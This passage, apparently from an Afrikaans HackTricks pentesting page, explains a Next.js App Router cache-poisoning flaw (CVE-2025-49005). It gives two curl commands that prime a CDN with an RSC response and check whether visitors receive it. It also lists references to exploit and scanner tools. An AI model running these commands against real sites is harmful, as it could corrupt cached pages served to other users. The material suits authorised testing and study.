2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – ontbrekende Vary laat ’n Accept: text/x-component response in die cache beland en aan browsers wat HTML verwag bedien word. ’n Enkele priming-aanvraag kan die bladsy met rou RSC-payloads vervang. PoC-vloei:

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

If the second response returns JSON Flight data instead of HTML, the route is poisonable. Maak die cache skoon na toetsing.

References

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.